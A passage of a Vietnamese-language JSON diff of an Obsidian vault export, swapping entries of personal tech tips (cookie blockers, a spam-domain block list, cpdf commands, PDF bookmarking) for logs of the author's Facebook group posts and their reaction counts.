https://discord.com/channels/1124195842820161637/1172243935146545172/1172243935146545172\n# [[03-02]]\nphát hiện bị bot xoá do không ai trả lời trong 3 tháng\n16:25 Đăng lại lần 2 https://discord.com/channels/1124195842820161637/1203268331306754049/1203268331306754049", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-02T08:48:00.000Z", - "id": "Q7" + "Ngày cập nhật": "2024-02-03T09:25:00.000Z", + "id": "QL" }, { - "Tiêu đề": "Loại bỏ popup bằng Idontcareaboutcookies, No Thanks", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/Loại bỏ popup bằng Idontcareaboutcookies, No Thanks", + "Tiêu đề": "Công cụ nghĩ", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Công cụ nghĩ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[I don't care about cookies 3.4.7](https://www.i-dont-care-about-cookies.eu/)\n", + "Toàn bộ nội dung": "## [[Chia sẻ kho kiến thức, tài nguyên đến với mọi người]]\n### [Obsidian - Second Brain](https://www.facebook.com/groups/obsidian.secondbrain/)\n[[18-06]] 18:32 submit. 18:41 accept\nhttps://www.facebook.com/groups/obsidian.secondbrain/posts/860004316000372/\n22:23 28 react, 3 comment, 6 share\n[[19-06]] 13:34 44 react, 6 comment, 10 share\n\n## [[Các vấn đề của plugin Digital Garden trong việc tạo trang web từ kho]]\n### [Obsidian - Second Brain](https://www.facebook.com/groups/obsidian.secondbrain/)\n[[19-08]] 02:32 https://www.facebook.com/groups/obsidian.secondbrain/posts/896235639043906\n13:08 17 react, 1 comment, 7 share\n[[20-08]] 19:43 24 react, 9 share", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-06T08:36:00.000Z", - "Ngày cập nhật": "2024-07-16T17:09:00.000Z", - "id": "Q8" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-20T12:43:00.000Z", + "id": "QM" }, { - "Tiêu đề": "Tránh bị nghiện mạng xã hội", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/Tránh bị nghiện mạng xã hội", + "Tiêu đề": "Data-driven", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Data-driven", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Nudge | Get your time back](https://nudgeware.io/)\nRescueTime ", + "Toàn bộ nội dung": "## Pending\n[[09-02]] Cộng đồng Data-Driven Marketing & Communication https://www.facebook.com/groups/574219986758276/my_pending_content\nCộng đồng Data-Driven Sales Strategy https://www.facebook.com/groups/576617096346587/my_pending_content\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-16T17:09:00.000Z", - "id": "Q9" + "Ngày cập nhật": "2024-02-16T12:51:00.000Z", + "id": "QN" }, { - "Tiêu đề": "Tập làm hacker", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/Tập làm hacker", + "Tiêu đề": "ERP, no code", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/ERP, no code", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Home | Hacker101](https://www.hacker101.com/)\nDùng Yandex dễ kiếm torrent hơn", + "Toàn bộ nội dung": "# [[Phân loại câu nhập]]\n## Pending\n[[08-02]] NoCode Việt Nam https://www.facebook.com/groups/249078479651557/my_pending_content)\n\n## Low code to No code VN (Power Apps, AppSheet...) \n[[08-02]] 22:29 https://www.facebook.com/groups/lowcode2nocode/posts/1118954585964630/\n[[15-02]] 09:01 8 react, 2 share", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-16T17:09:00.000Z", - "id": "QA" + "Ngày cập nhật": "2024-02-15T02:01:00.000Z", + "id": "QO" }, { - "Tiêu đề": "Đọc những trang thu phí bằng 12ft.io", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/Đọc những trang thu phí bằng 12ft.io", + "Tiêu đề": "Excel, AppScript", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Excel, AppScript", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[12ft Ladder](https://12ft.io/)\n### What?\n\nPrepend **12ft.io/** to the URL of any paywalled page, and we'll try our best to remove the paywall and get you access to the article.\n\n### Why?\n\nI believe Google Adwords killed the web. Google Adwords incentivized sites to peddle SEO optimized garbage. SiteBêns who aren't are forced to optimize for email capture so they can market directly to you. Search results now show \"news\", ads, and SEO spam instead of surfacing information.\n\nYou ought to be able to search something on Google and get an answer to your question without signing up for some newsletter. This is why I created [12ft.io](https://12ft.io/).\n\n### How does it work?\n\nThe idea is pretty simple, news sites want Google to index their content so it shows up in search results. So they don't show a paywall to the Google crawler. We benefit from this because the Google crawler will cache a copy of the site every time it crawls it.\n\nAll we do is show you that cached, unpaywalled version of the page.\n", + "Toàn bộ nội dung": "# [[Câu hỏi khảo sát#Làm sao để tự động phân loại dữ liệu trên Excel, AppScript?]]\n\n## Pending\n[[15-02]] CỘNG ĐỒNG KẾ TOÁN EXCEL https://www.facebook.com/groups/724744197684526/my_pending_content\n## Nhóm Thủ thuật Excel\n[[15-02]] 14:44 https://www.facebook.com/groups/groupthuthuatexcel/posts/1685151288687404 \n2 react\n## Giải Pháp Excel - Google Sheets - Google AppSheet \nhttps://www.facebook.com/groups/emssolution/posts/3719557414995537\n3 react, 3 comment \n\n# [[Tạo tệp Excel tự động để nhập khẩu vào các phần mềm kế toán]]\n[[24-02]] CỘNG ĐỒNG KẾ TOÁN EXCEL https://www.facebook.com/groups/724744197684526/my_pending_content", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-06T08:32:00.000Z", - "Ngày cập nhật": "2024-07-16T17:09:00.000Z", - "id": "QB" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-24T15:17:00.000Z", + "id": "QP" }, { - "Tiêu đề": "Ẩn kết quả tìm kiếm rác trên Google", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/Ẩn kết quả tìm kiếm rác trên Google", + "Tiêu đề": "Fintech, tài chính cá nhân", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Fintech, tài chính cá nhân", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, - "Slug": "ẨnSEORác", "Nội dung bài đăng": { - "Toàn bộ nội dung": "Các trang dưới đây chia thành 2 loại:\n- Từ điển copy của từ điển mở của Hồ Ngọc Đức\n- Cào web tiếng Anh rồi dùng Google dịch sang tiếng Việt để tăng SEO\n\nTôi block hết cho nhẹ.\n```\nen.bab.la\nvi.glosbe.com\nglosbe.com\nmymemory.translated.net\n3.vndic.net\nwww.rung.vn\nenglishteststore.net\nchiasekienthuc24h.com\ntratu.soha.vn\ndict.vietfun.com\nwww.indifferentlanguages.com\ndict.laban.vn\nvi.aliexpress.com\nnghialagi.net\nqastack.vn\nwww.it-swarm-vi.com\nhelpex.vn\nvi.sawakinome.com\nvi.strephonsays.com\nvi.thpanorama.com\nvi.sainte-anastasie.org\nvie.weblogographic.com\nvi.atomiyme.com\namp.vi.freejournal.org\nichi.pro\nalbert-camus.site\nvn.au1lib.org\nvn.vn1lib.org\ndelphipages.live\nwiki2th.com\nvi.lifehackk.com\nwww.greelane.com\nwww.it-mot-dan-vi.com\nvi.isecosmetic.com\nvi.yestherapyhelps.com\nwikipredia.net\ntr-ex.me\ntopbinhduong.net\nmimirbook.com\nwivi.wiki\nwiki.edu.vn\nvi.wiki5.ru\nwww.duhocchina.com\nkerchtt.ru\nvi.tr2tr.wiki\nvi.upwiki.one\nvi.eferrit.com\nhashdork.com\nhubm.edu.vn\npgdxuyenmoc.edu.vn\n```\n# Cách dùng\n\n\nDownload: [Google Hit Hider by Domain](http://www.jeffersonscher.com/gm/google-hit-hider/)\n\nXem thêm:: [[FB purity giúp giảm rác Facebook]]\nXem thêm:: [[Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó|Làm sao để tìm được thứ ta cần khi ta không biết từ khoá chính xác của nó?]]", + "Toàn bộ nội dung": "# [[Phân loại chi tiêu]]\n## Pending\n[[08-02]] Tài chính cá nhân 4.0 https://www.facebook.com/groups/447203889631625/my_pending_content\n\n## Money Mom Sharing - Tài chính cá nhân & Nghề tay trái cho mẹ Việt\nko hiểu chia sẻ xong vào my_pending_content ko thấy nó ở mục nào hết?\n\n## Mẹ tối giản - Nhà gọn gàng\n[[08-02]] https://www.facebook.com/groups/1765973107210218/my_pending_content/\n\n## Cộng đồng Tài chính cá nhân Việt Nam \n[[15-02]] 09:21 https://www.facebook.com/groups/fidt.congdongtaichinhcanhanvietnam/posts/1463087404241440/\nvừa được duyệt đã bị xoá?\n\n## TÀI CHÍNH CÁ NHÂN & TỰ DO TÀI CHÍNH\n28/12 https://www.facebook.com/groups/phufm/posts/3593444954234211\n7/2 0 0 0 \n## QUẢN LÝ TÀI CHÍNH CÁ NHÂN \n[[07-02]] 22:25 https://www.facebook.com/groups/chienluocchitieu/posts/3573297832909772/\n## Nghiện năng suất 🧠 | namanhsuit\n[[07-02]] 23:38 https://www.facebook.com/groups/300325712482115/posts/397367986111220/\n[[15-02]] 09:03 7 react\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-30T09:07:00.000Z", - "Ngày cập nhật": "2024-08-03T07:51:00.000Z", - "id": "QC" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-15T03:17:00.000Z", + "id": "QQ" }, { - "Tiêu đề": "Chỉnh sửa PDF hàng loạt bằng cpdf", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/PDF/Chỉnh sửa PDF hàng loạt bằng cpdf", + "Tiêu đề": "Khoa học dữ liệu", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Khoa học dữ liệu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Tách, nhập trang\n```PowerShell\ncpdf -split '.\\Tổng hợp scan.pdf' -o page%%%.pdf\ncpdf -split-bookmarks 0 a.pdf -o file%%%.pdf\ncpdf -merge a.pdf 1 b.pdf 2-end -o out.pdf\n```\n\n[2 Merging and Splitting](https://www.coherentpdf.com/cpdfmanual/cpdfmanualch2.html)\n\n# Xoá trang\n```PowerShell\ncpdf -merge '.\\Báo cáo công việc.pdf' 1 '.\\Báo cáo công việc.pdf' 3-end -o '.\\Báo cáo công việc.pdf'\n```\n\n# \n```PowerShell\n$i=1; while ($i -lt 152) {$j=$i+1; cpdf origin.pdf \"$i,$j\" -o \"$i-$j.pdf\"; $i=$i+2} \n```", + "Toàn bộ nội dung": "# [[Phân loại câu nhập]]\n## Pending\n## Phân tích và xử lý dữ liệu\n[[09-02]] 18:34 https://www.facebook.com/groups/dataanalysisandprocessing/posts/1616590132480059\n22:41 12 react\n[[10-02]] 11:26 18 react\n[[15-02]] 14:55 29 react\n\n## Data Science for Vietnam\n[[09-02]] 05:29 https://www.facebook.com/groups/BigDataStartUp/posts/2293562524168084\n[[09-02]]13:26 3 react, 3 share\n\n## Cộng đồng xử lý ngôn ngữ tự nhiên\n[[08-02]] 22:16 https://www.facebook.com/groups/vietnlp/posts/3885555301674171/\n[[09-02]] 0 0 0 \n\n## Xử lý tiếng Việt \n[[31-10]] 12:48 https://www.facebook.com/groups/261080434736153/posts/1460199274824257/\n\n## Data Analytics Community - Unlimited\n[[04-02]] 22:27 được duyệt https://www.facebook.com/groups/dataunlimited/posts/1057427298667747\n[[05-02]] 01:17 13 react, 2 comment, 7 share\n[[08-02]] 03:07 37 react, 6 comment, 19 share\n[[08-02]] 21:16 38 react, 6 comment, 20 share\n\n## Phân tích dữ liệu khoa học\n[[28-02]] 9:29 https://www.facebook.com/groups/phantichdulieukhoahoc/posts/7627433240602184/\n\n\n```yaml\nCộng đồng Data Engineer Việt Nam:\n 2023:\n Tháng 11:\n Ngày 8:\n Bài: [[một số ghi chép của mình về tiếp thị số, xử lý dữ liệu và lập trình]]\n URL: https://www.facebook.com/groups/dataengineering.vn/posts/7562816120412554\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QD" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-20T14:48:00.000Z", + "id": "QR" }, { - "Tiêu đề": "Cách setup cho việc đọc PDF thường xuyên", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/PDF/Cách setup cho việc đọc PDF thường xuyên", + "Tiêu đề": "Lập trình nói chung", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Lập trình nói chung", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Chuột bay\n\n| Tên sản phẩm | Giá |\n| ---------------- | ---- |\n| c120 | 290k |\n| **Minix neo a2** | 473k |\n| T3 | 490k |\n| Measy RC11 | |\n# Màn hình lớn\n19 inch là đủ\n\n# Tự động chỉnh phóng to mức page width trong Firefox\nTrong Firefox, mở `about:config`, kiếm `pdfjs.defaultZoomValue` và chỉnh giá trị là `page-width`\n", + "Toàn bộ nội dung": "# [[Phân loại câu nhập]]\n## Pending\n\n## Viblo\n### [[04-02]]\n23:00 [Phân loại câu nhập bằng tiếng Việt tự nhiên](https://viblo.asia/p/phan-loai-cau-nhap-bang-tieng-viet-tu-nhien-2oKLnG91VQO)\n[[13-02]] 22:17 +3\n\n## Dev ơi mình đi đâu thế\n[[09-02]] 17:28 https://www.facebook.com/groups/devoiminhdidauthe/posts/24630994933210879\n[[10-02]] 11:24 26 react, 1 comment, 9 share\n[[13-02]] 22:16 58 react, 1 comment, 27 share\n[[16-02]] 17:57 60 react, 1 comment, 28 share\n## Cộng đồng Software Engineer Vietnam - Code chuẩn FAANG \n[[09-02]] 11:37 https://www.facebook.com/groups/softwareengineervietnam/posts/7917830094911153\n[[13-02]] 22:17 5 react, 4 share\n[[15-02]] 09:04 6 react, 5 share", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-27T13:53:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QE" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-16T10:57:00.000Z", + "id": "QS" }, { - "Tiêu đề": "PDF là để in ra giấy, không phải để đọc trên máy", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/PDF/PDF là để in ra giấy, không phải để đọc trên máy", + "Tiêu đề": "Sản phẩm, phân tích kinh doanh", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Sản phẩm, phân tích kinh doanh", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nVì nếu đối tượng người đọc cũng chỉ đọc nó trên máy chứ không phải trên giấy, thì chuyển sang HTML sẽ tốt hơn. PDF được sinh ra là để làm những việc liên quan tới giấy, như xử lý sách scan, hoặc đánh máy xong rồi in ra. Vì nó được tối ưu cho mục đích đó, nên nếu công việc chỉ làm trên máy thôi thì nó lại không tối ưu bằng.\n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "## Product Owner Vietnam\n[[28-10]] Bị từ chối đăng [[Phân loại câu nhập]]. Lý do: Bài viết không liên quan đến PO, spam, hoặc seeding\n[[07-02]] 23:01 [[Các buổi đáp ứng nhu cầu học lập trình]] https://www.facebook.com/groups/2008823466105086/posts/3669261523394597/\n\n## Cộng đồng IT Business Analyst Việt Nam\n[[08-02]] 23:34 https://www.facebook.com/groups/416892900315521/my_pending_content\n\n[[VN] Business Analytics & Decision Making Community](https://www.facebook.com/groups/BizAnalyticsVN/)\n[Pro hơn khi làm Product](https://www.facebook.com/groups/1337903446785345/)\n\n# [[Chuyển từ giả định nghiên cứu sang bảng hỏi định lượng thế nào cho hiệu quả]]\n[[25-02]] 23:35 Product Maker Vietnam https://www.facebook.com/groups/2351910844953747/posts/3315289668615855/", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QF" + "Ngày cập nhật": "2024-02-26T09:58:00.000Z", + "id": "QT" }, { - "Tiêu đề": "Tạo mục lục cho PDF", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/PDF/Tạo mục lục cho PDF", + "Tiêu đề": "Dự án xã hội, NPO, nghiên cứu khoa học, nghệ thuật, hội hoạ", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Hỗ trợ tổ chức/Dự án xã hội, NPO, nghiên cứu khoa học, nghệ thuật, hội hoạ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Khi xuất ở Word \nViệc tạo mục lục là tối quan trọng. Không có mục lục thì chỉ thấy cây mà không thấy rừng. Bản thân mục lục cũng là những bảng tóm tắt. Chính việc nhớ mục lục khiến ta có thể ứng biến với tình huống khác nhau. [[Tinh túy của một cuốn sách chính là mục lục của nó]]\n![](https://i.imgur.com/pybO2se.png)\n\n# Creating hierarchical bookmarks/table of content\n\nUse [Jpdfbookmark](https://sourceforge.net/projects/jpdfbookmarks/).\n\n## Step 1: Prepare the table of content\n\nSave the TOC in a .txt file in this format:\n\n```\nChapter 1. The Beginning/23\n    Para 1.1 Child of The Beginning/25,FitWidth,96\n        Para 1.1.1 Child of Child of The Beginning/26,FitHeight,43\nChapter 2. The Continue/30,TopLeft,120,42\n    Para 2.1 Child of The Beginning/32,FitPage\n```\nYou can [ORC the TOC](https://stackoverflow.com/q/49954707/3416774) and use regex to fix it.\n\n## Step 2: Load that TOC\n\n![Machine generated alternative text:\nile Edit View Tools Window Help\nSelect Text\nCtrl+Alt+T\nUse System Clipboard Ctrl+AIt+C\nShow On Open\nDump\nApply Page Offset\nOptions\nCtrl+Alt+D\nCtrl+Alt+L\nCtrl+Alt+O](https://i.imgur.com/n42DaEL.png)\n\n## Step 3: Prepare for step 4\n\nThis sounds dumb, but if you miss it you will be frustrated and have to do it again. Expand all bookmarks (Ctrl + E), select all of them, then go to Tools → Apply Page Offset\n\n![Machine generated alternative text:\nFile Edit View Tools Window Help\nSelect Text\nCtrl+AIt\nUse System Clipboard Ctrl+AIt+C\nShow On Open\nDump\nApply Page Offset\nOptions\n1.4 Invariance in Geometr•,\nI. 5 Dimensional Analysis\n1.6 Eddington's äÉæMethod of\nI. 7 Ideal Numbers—\n1.8 Actual Infinity and the Axi(\n2 Intuitve Theories of\n3 Axiomatc Set Theory—\n4 Axiomatc Generalizatons of the\n5 Representatonal Theory of Mea:\n6 Intrinsicness\n7 Qualitatveness\n8 and the Axiom\nReferences\nIndex\nCtrl+AIt+D\nCtrl+AIt+L\nCtrl+Alt+O](https://i.imgur.com/COshVw9.png)\n\n## Step 4: Apply page offset\n\nThis step should be self-explained. Don’t forget to save.\n\nThat’s it. You are done. For more information, you can read its [manual](http://jpdfbookmarks.altervista.org/InsertBookmarks.html#1_3_1). The program has command line mode and can work on Linux, Mac.\n\nIf there are non-Roman characters, be sure to use the same encoding when dumping and applying bookmarks.\n", + "Toàn bộ nội dung": "# [[Các buổi đáp ứng nhu cầu học lập trình]]\n## Pending\n[[07-02]] Dear Our Community - Sự Nghiệp Hạnh Phúc https://www.facebook.com/groups/410336910706612/my_pending_content\n[[07-02]] Project community https://www.facebook.com/groups/1027036950828309/my_pending_content\n[[08-02]] VSRM-Vietnam Social Research Methodology https://www.facebook.com/groups/277566036004587/my_pending_content/\n [[09-02]] 17:06 gửi trong chat\n [[14-02]] từ chối\n\n## 1 like\n[[07-02]] 11:28 WORKSHOP CHO NGƯỜI TRẺ https://www.facebook.com/groups/1870723840010036/posts/1938176049931481\n\n## SNPO\n### [[07-02]]\n14:50 duyệt sau khi hỏi anh Sơn tại sao chưa được duyệt https://www.facebook.com/groups/mangluoisnpo/permalink/1438222743706828\n21:55 4 react\n\n## Vietnamese Humanities & Social Sciences Association (VHSSA) \n[[29-02]] 20:00 https://www.facebook.com/groups/viethssa/posts/6699423853497361/\n[[21-03]] 20:33 3 like, 2 share\n\n# [[Câu hỏi khảo sát#Việc nhập liệu và gắn nhãn dữ liệu áp dụng vào công việc gì trong công tác xã hội?]]\n## Pending\n[[15-02]] Mạng lưới liên kết các dự án, cộng đồng trên toàn quốc https://www.facebook.com/groups/524373501783128/my_pending_content\n[[15-02]] Mạng lưới sinh viên, học viên, NCS Khoa Khoa học quản lý https://www.facebook.com/groups/181147522273100/my_pending_content\nThống kê y học https://www.facebook.com/groups/406384969731992/my_pending_content\n\n## VietPhD.org\n[[16-02]] 11:25 https://www.facebook.com/groups/vietphd/posts/10160410440597991\n20:00 32 react, 9 comment\n[[18-02]] 18:25 55 react, 30 comment\n\n[Ngoc-Quyen Do](https://www.facebook.com/groups/14115377990/user/100003619180169/?__cft__[0]=AZV23E1fCiHb9vN_t-H-tuaLlu5kqneEFE1gpOLY0u8ufCVrdA0GG2c8Vx_0el3cOwNJkUJCaIa6CF0lVH42Ob3RgIoaoT3y59E3i5Ccppe7iOF4Alc8K4rht6k4bwppXEZSav79I4Aoh6OhxDJz4fGv&__tn__=R]-R)\n\nXử lý dữ liệu định tính, làm coding, thì phải làm tương tự. Hiện nay NVivo làm tốt, nhưng bất kể phần mềm nào, công cụ nào, thì việc làm code để phân tích sâu vẫn là năng lực của nhà nghiên cứu. Chẳng hạn về semantic, 20k là giá, nhưng trong ngữ cảnh cụ thể nó có thể là sự vòi vĩnh… ví dụ vậy.\n\n[Alfredo VU](https://www.facebook.com/groups/14115377990/user/100001734587643/?__cft__[0]=AZV23E1fCiHb9vN_t-H-tuaLlu5kqneEFE1gpOLY0u8ufCVrdA0GG2c8Vx_0el3cOwNJkUJCaIa6CF0lVH42Ob3RgIoaoT3y59E3i5Ccppe7iOF4Alc8K4rht6k4bwppXEZSav79I4Aoh6OhxDJz4fGv&__tn__=R]-R)\n\nNày là xử lý ngôn ngữ tự nhiên cho tiếng Việt hở bạn?\n\nNhư vậy thay vì dùng llm thì chọn nlp cho rẻ tiền hơn, trong một ngữ cảnh, tình huống sử dụng cụ thể?\n\nVd: chatbot của cty chứng khoán cần diễn dịch câu hỏi của khách “các mã chứng khoán nào trong ngành hàng tiêu dùng nhanh, có giá đóng cửa thay đổi nhiều nhất trong tháng?”, thành câu truy vấn sql và trả về kết quả truy vấn dưới dạng ngôn ngữ tự nhiên\n\n[Jo Ngo](https://www.facebook.com/groups/14115377990/user/100013294099120/?__cft__[0]=AZV23E1fCiHb9vN_t-H-tuaLlu5kqneEFE1gpOLY0u8ufCVrdA0GG2c8Vx_0el3cOwNJkUJCaIa6CF0lVH42Ob3RgIoaoT3y59E3i5Ccppe7iOF4Alc8K4rht6k4bwppXEZSav79I4Aoh6OhxDJz4fGv&__tn__=R]-R)\n\nCái này gần với semantic tagging trong frame semantics, loại frame là spending, các khái niệm được coi là frame elements, mỗi khái niệm có một semantic role trong frame đó.\n\n## 1 react\n[[15-02]] 10:55 Diễn đàn Công tác xã hội - Phát triển cộng đồng https://www.facebook.com/groups/509845572360041/posts/7533535453324316/\n13:43 1 react\n\n[[15-02]] 13:42 VSRM-Vietnam Social Research Methodology https://www.facebook.com/groups/277566036004587/posts/1791134827981026\n22:36 0 0 0\n\n## Thống Kê Y Học\n[[14-03]] 22:44 https://www.facebook.com/groups/thongkeyhocandr/posts/2120466424990496\nLàm suốt, dùng R, tạo một nhóm từ theo list phân loại sẵn để tâch nội dung.\n[[21-03]] 10:06 8 react 25 comment 2 share\n## Dữ liệu nghệ thuật Việt Nam / Vietnam Art Archive / VAA\n[[15-02]] 17:54 https://www.facebook.com/groups/1176033822752394/posts/2084805781875189\n22:35 3 react\n\n## Mạng lưới Y học Dự phòng trẻ Việt Nam\n[[15-02]] 17:08 https://www.facebook.com/groups/mangluoiyhocduphongtre/posts/1478313499699337/\n3 comment \n22:26 6 react, 3 comment\n[[16-02]] 20:01 11 react, 4 comment\n\n# [[Chuyển từ giả định nghiên cứu sang bảng hỏi định lượng thế nào cho hiệu quả]]\n## VSRM-Vietnam Social Research Methodology\n[[25-02]] submit\n[[16-03]] 07:31 Accept https://www.facebook.com/groups/277566036004587/posts/1797587164002459/\n[[21-03]] 20:30 21 react, 9 share https://www.facebook.com/groups/277566036004587/posts/1797587164002459/\n\n# đối ⊷ thoại lấy nhu cầu của các tổ chức phi lợi nhuận làm trung tâm\n## SNPO\n[[17-06]] 18:16 https://www.facebook.com/groups/mangluoisnpo/posts/1515032052692563\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QG" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-21T14:43:00.000Z", + "id": "QU" }, { - "Tiêu đề": "Facebook vs Discord", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Facebook vs Discord", + "Tiêu đề": "Launch", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Hỗ trợ tổ chức/Launch", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Fb có thể thân thiện hơn cho người chưa biết hoặc chỉ cần trao đổi về plugin là được. Còn Discord chắc có nhiều lập trình viên và dân nghiên cứu học thuật hơn\n\ncác bài đăng trên Facebook quá bị chi phối bởi các thuật toán sắp xếp tin, các tính năng mới mà facebook bổ sung (hoặc bắt chước) như các nền tảng khác không hiệu quả, và do vậy mất quá nhiều thời gian để đọc lướt qua dòng tin trên mỗi nhóm để tìm thứ mình cần. phân luồng như Discord thuận tiện hơn, nếu post có giá trị, mod/admin có thể ghim lại phía trên để người chưa biết tiện theo dõi. tốt hơn nữa thì có sắp xếp chỉ mục liên kết tới các cuộc thảo luận có giá trị, như Obisidianroundup đã làm.", + "Toàn bộ nội dung": "# [[29-10]]\n20:41 [[Phân loại chi tiêu (ngắn)]] https://www.facebook.com/groups/launchpad/posts/24057146677233710) được đăng\n21:24 5 react\n21:58 6 react, 1 comment \n> - ồ đọc từ keeps ra dc hở bác? hay quá\n> - được bạn\n> - nhưng mà Kendy là ai? Kendy bị sao thế bác?\n> - à là một người bạn của bọn mình thôi. Nó cần chương trình này để quản lý nợ ấy mà\n# [[30-10]]\n10:18 - 10:29: 3 người comment\n13:01 48 react, 12 comment. Anh Quang Mai:\n> Anh ấp ủ ý tưởng đó từ hồi học đại học\n> Mà ko tìm được ai biết làm\n> Thấy em làm được rồi, anh muốn tìm cách phát triển sản phẩm này lên\n\n22:30: 61 react, 16 comment\n31 người vào link thì 3 người đọc lý 